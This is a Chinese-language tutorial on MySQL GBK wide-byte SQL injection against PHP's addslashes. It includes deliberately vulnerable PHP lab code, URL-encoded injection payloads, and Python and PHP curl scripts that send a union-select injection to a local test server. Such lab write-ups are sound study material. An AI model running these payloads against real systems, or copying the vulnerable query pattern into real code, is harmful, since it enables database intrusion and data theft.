MySQL宽字节注入
MySQL有很多字符集。要明白宽字节注入是什么。首先先了解一下MySQL中支持的字符集。
官方文档中可知。通过命令
SHOW CHARACTER SET;
可以知道我们的MySQL所支持的字符集。
我们来看看我们进行测试的数据库支持的字符集
本次测试使用的是gbk字符集。其他的字符集能不能注入还有待研究一下。。。。
可以看到gbk的字节长度为2
看看gbk编码的范围
8140-FEFE(十六进制)剔除 xx7F (但是实际测试的时候。到了FE9F就是最大的了。。。
可以在该网站查询十六进制GBK编码所对应的汉字
gbk编码是双字节的。也就是需要两个十六进制数来拼接而成。
了解了gbk编码的一些基本的东西。我们来看看php的过滤函数addslashes
也就是对以上字符进行转义。在其之前添加反斜杠。
PHP中的函数添加的字符都是ascii编码的。而ascii编码只占一个字节。
宽字节注入的目的就是要绕过这个转义的反斜杠\。绕过方式有两种:
- 在反斜杠前再加多一个反斜杠。使其抵消
- 将反斜杠与一个字符通过编码的方式合并起来。使其成为另一个字符。
看到这样也大概明白了宽字节注入要怎么操作了。字符集为gbk时。对中文字符编码为2个字节。如果我们通过输入一个ascii值的数据,占一个字节(注意范围要在gbk编码里面)。剩下一个字节给这个反斜杠。这样就形成了两个字节。组成了一个汉字。这样子反斜杠就没有了。即可成功绕过。
所以难点就是构造这个输入的数据。我们分析一下。
gbk编码范围是
8140-FEFE剔除 xx7F(实际测试最大是FE9F。。。
前一个字节是81-FE
后一个字节是40-9F
而反斜杠\的hex值为5C。刚好在后两个字节里面。
所以我们只需要构建前面那个字节的值即可。
通过查询可以知道。hex为81-FE之间是没有可用字符的。。。。有点悲摧。。
但是不要慌张。还是有办法的
- 如果页面是GET方式提交。那就最简单了。通过URL编码来发送这些没有字符的hex值。因为URL编码是用百分号%加上那个字符的十六进制来进行编码的。所以我们可以直接构建类似?xxx=%81这样子的数据。
- 如果页面是POST方式提交。那就麻烦一点。自己写个python小脚本把。。。将值手动unhex之后再发送即可
既然明白了。那我们先搭建好环境先。把mysql的字符集设置为gbk。
my.ini中搜索[mysql]和[mysqld]。将下面的character改成gbk
设置好后重启mysql。
show variables like “%character%”
字符集全部改成了gbk。
接下来我们挨个测试GET和POST两种方式的注入。
我们来看下GET方式的。Web代码如下
<?php
$con = mysqli_connect('127.0.0.1','root','123456','test1');
if(isset($_GET['username']))
{
$username = addslashes($_GET['username']);
$sql = "select * from test1 where username = '{$username}'";
$query = mysqli_query($con,$sql);
while($row = mysqli_fetch_assoc($query))
{
var_dump($row);echo '</br>';
}
var_dump(mysqli_error($con));echo '</br>';
var_dump($sql);
}
?>
可以看到引号是被反斜杠\转义了的
单引号的hex值是27
所以单引号的URL编码为 %27
进入php处理时会在单引号前面加多一个反斜杠\。hex值为5c
所以我们要构建的这个单字节的hex就要在单引号前面。这样子才能与反斜杠的hex相结合
payload:
%81%27
可以看到。成功报错了。是SQL语法错误。说明转义的反斜杠已经和%81结合成一个汉字了。但是。。。。汉字呢。。?
这个是页面编码设置的问题。把firefox的编码设置成chinese即可。
可以看到。变成了一个汉字“乗”。说明我们已经成功的完成了转义函数绕过之宽字节注入。
简单注入一下,payload:%81%27 union select 1,version() # (kali firefox没装上hackbar。。。。
接下来我们看看POST的形式接收的话。我们要怎么发送数据呢。
Web代码:
<?php
$con = mysqli_connect('127.0.0.1','root','123456','test1');
if(isset($_POST['username']))
{
$username = addslashes($_POST['username']);
$sql = "select * from test1 where username = '{$username}'";
$query = mysqli_query($con,$sql);
while($row = mysqli_fetch_assoc($query))
{
var_dump($row);echo '</br>';
}
var_dump(mysqli_error($con));echo '</br>';
var_dump($sql);
}
?>
直接发送URL编码的方式已经是不行了。而且hex值为81的又是没有的字符。不能直接打出来。所以我们只能通过python将hex解码出来。然后再发送。
我用的是kali内置的python。版本为2.7。python3以上的不支持这样子转换hex了。要用binascii这个模块
两者对比
emmm。。。。80 解码是一个\x80。用python的转义字符的十六进制来表示了。那这样子在发送请求的时候不久发成了\x80吗。。。。
print出来。是一个乱码。这样就放心了。它发送的时候并不是直接发\x80。只是python上面运行的时候,不可显示,只好用转义字符的方式来显示而已。
我们就可以安心写脚本了。一个简单的python脚本如下:
import requests
s = requests.session()
str = '81'.decode('hex') + '27'.decode('hex') + ' union select 1,version() #'
response = s.post('http://192.168.0.103/test.php',data={'username':str})
print(response.text)
没有显示出我们的汉字。我们调一下终端窗口的字符设置。
成功注入。
我们还可以通过php的curl来进行请求。用解url编码的方式来构造数据。代码如下:
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://192.168.0.103/test.php');
curl_setopt($curl, CURLOPT_POST, 1);
$post = urldecode('%81%27 union select 1,version() --+');
$post_data = array('username' => $post);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
$data = curl_exec($curl);
curl_close($curl);
成功注入